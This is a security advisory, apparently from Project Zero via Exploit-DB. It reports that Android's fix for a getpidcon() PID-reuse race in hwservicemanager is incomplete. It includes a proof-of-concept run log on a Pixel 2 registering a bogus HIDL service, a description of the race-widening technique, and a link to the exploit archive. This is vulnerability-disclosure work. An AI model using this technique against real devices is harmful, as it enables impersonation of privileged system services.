1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 |
We already reported four bugs in Android that are caused by the use of getpidcon(), which is fundamentally unsafe: https://bugs.chromium.org/p/project-zero/issues/detail?id=727(AndroidID-27111481; unexploitable) https://bugs.chromium.org/p/project-zero/issues/detail?id=851(AndroidID-29431260; getpidcon() used in the servicemanager) https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager) https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore) The bulletin entry forbug 1404(in https://source.android.com/security/bulletin/2018-01-01#system) points to the following three commits: https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7 "canCastInterface: always return true for IBase" I'm not sure how this relates to the bug. https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61 "Explicitly check processes are oneway" Ensures that the caller PID isn't passed as zero. This addresses a second issue that was mentioned in the bug report, but doesn't address the core issue. https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de "get selinux context on add call arrival." "interfaceChain may take too long and allow for the PID to become invalidated." This seems to be the patch that is intended to fix the core bug - but all it does is to reduce the size of the race window, it does not address the actual issue. Overall, it looks like this vulnerability was not actually fixed. A patch that merely reduces the size of a race window without eliminating it is, in my opinion, not a valid fix for security issues that impact confidentiality or integrity. (The situation in the classic servicemanager seems to be similar, except that it has additional checks that very coarsely mitigate this class of issues based on caller UIDs.) In my opinion, a proper fix should include tracking of caller SELinux contexts, perhaps with context information pulled from the kernel on demand when needed. I think you could e.g. implement this by stashing a refcounted pointer to the caller's credentials in the struct binder_buffer in binder_transaction(), like this: t->buffer->caller_cred = get_current_cred(); And then add a new ioctl to the binder device for looking up the SELinux context associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc mutex, look up the allocation for the provided userspace pointer, ensure that it is user-freeable, take a reference to its creds, and drop the mutex. If for some reason, this still has too much overhead, you could also gate it on opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS. To demonstrate that this issue can indeed still be triggered, I have written a PoC for the Pixel 2 (walleye), running build "google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys" (patch level "2018-12-05") that can register a second instance of "android.hidl.manager@1.0::IServiceManager" with instance name "bogusbogusbogus". Running it: ===================================================================== $ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s) hexdump(0x7fc41de528, 0x50) 0000000000 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00|........a.n.d.r.| 000000106f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00|o.i.d...o.s...I.| 0000002053 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00|S.e.r.v.i.c.e.M.| 0000003061 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00|a.n.a.g.e.r.....| 0000004005 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00|....a.u.d.i.o...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 24offs 8 hexdump(0x7ae2539000, 0x18) 0000000085 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00|.*hs............| 0000001000 00 00 00 00 00 00 00|........| - type 73682a85flags 0000017fptr 0000000000000001cookie 0000000000000000 binder_done: freeing buffer binder_done: free done got audio_handle: 0x1 hexdump(0x7fc41df648, 0x40) 0000000000 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00|........a.n.d.r.| 000000106f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00|o.i.d...m.e.d.i.| 0000002061 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00|a...I.A.u.d.i.o.| 0000003053 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00|S.e.r.v.i.c.e...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 0offs 0 hexdump(0x7ae2539000, 0x0) binder_done: freeing buffer binder_done: free done thread_spawner ready to transact spam done ready for delay... 14736 forking master... 14737 forking... entering child: 14738 pre-cycling... cycle target is 14737 first unused preceding pid is 13325 (3/No such process) PIDs should be cycled now... starting delay... starting register transaction hexdump(0x7ae2537f80, 0x94) 0000000061 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e|android.hidl.man| 0000001061 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69|ager@1.0::IServi| 0000002063 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70|ceManager....*tp| 0000003000 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00|....H.S.z.......| 0000004000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|................| 0000005000 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00|.....*tp....`OF.| 0000006000 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00|................| 0000007000 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73|.............*bs| 000000807f 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00|................| 0000009000 00 00 00|....| BR_NOOP: BR_INCREFS: 0x7ae2537e18, 0x7ae2537e20 BR_ACQUIRE: 0x7ae2537e2c, 0x7ae2537e34 BR_TRANSACTION_COMPLETE: owner of to-be-reused PID 14737 is quitting now BR_NOOP: thread_spawner transacting now hexdump(0x7fc41df648, 0x40) 0000000000 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00|........a.n.d.r.| 000000106f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00|o.i.d...m.e.d.i.| 0000002061 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00|a...I.A.u.d.i.o.| 0000003053 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00|S.e.r.v.i.c.e...| BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 8offs 0 hexdump(0x7ae2539000, 0x8) 0000000000 00 00 00 00 00 00 00|........| binder_done: freeing buffer binder_done: free done pid 12645 quit: exit(0) got delay: 017664533478 SSSMMMUUUNNN BR_NOOP: BR_TRANSACTION: target 0000000000000001cookie 0000000000000000code 0f43484eflags 00000010 pid588uid 1000data 32offs 0 hexdump(0x7ae2539000, 0x20) 0000000061 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 62 61 73|android.hidl.bas| 0000001065 40 31 2e 30 3a 3a 49 42 61 73 65 00 00 00 00|e@1.0::IBase....| got binder call binder_send_reply(status=0) offsets=0x7ae2537c88, offsets_size=32 BR_NOOP: BR_TRANSACTION_COMPLETE: BR_NOOP: BR_REPLY: target 0000000000000000cookie 0000000000000000code 00000000flags 00000000 pid0uid 1000data 8offs 0 hexdump(0x7ae2539000, 0x8) 0000000000 00 00 00 01 00 00 00|........| binder_done: freeing buffer binder_done: free done REGISTRATION OVER pid 12644 quit: exit(0) ===================================================================== Note: It will probably take a few minutes when you run it the first time because it has to create a 16GB file on disk. Once the PoC has printed "REGISTRATION OVER", the bogus hardware service should have been registered. The PoC will keep running to keep the bogus service alive. At this point, you can check whether it worked: ===================================================================== walleye:/ $ getprop ro.build.fingerprint google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys walleye:/ $ lshal 2>/dev/null | grep ISensorManager android.frameworks.sensorservice@1.0::ISensorManager/bogusbogusbogusN/AN/A android.frameworks.sensorservice@1.0::ISensorManager/defaultN/AN/A walleye:/ $ ===================================================================== Some detail on how the PoC works: master.c coordinates execution. register.c takes care of setting up two processes that share memory mappings, wrapping the PID counter, registering a service and relinquishing the PID at the right time. thread_spawner.c uses the unloadSoundEffects() and loadSoundEffects() RPC calls on android.media.IAudioService to create a thread in system_server, reusing the PID relinquished by register.c. reload_timer.c stalls slowpath lookups of entries in /proc for ~15 seconds by abusing that Linux 4.4's sys_getdents64() exclusively locks the inode across the entire readdir operation, including all usercopy accesses, combined with a series of uncached 4k file mappings and a lack of priority inheritance in kernel mutexes. Stalling slowpath lookups of /proc entries causes getpidcon() to block on opening /proc/$pid/attr/current. See also the attached timing diagram. Oh, by the way, something else that I'm not actually using here, and that doesn't really have any direct security impact, but that looks unintended: /dev/binder sets the VM_DONTCOPY flag on the VMA, but because it doesn't also set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag: case MADV_DOFORK: if (vma->vm_flags & VM_IO) { error = -EINVAL; goto out; } new_flags &= ~VM_DONTCOPY; break; Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46504.zip |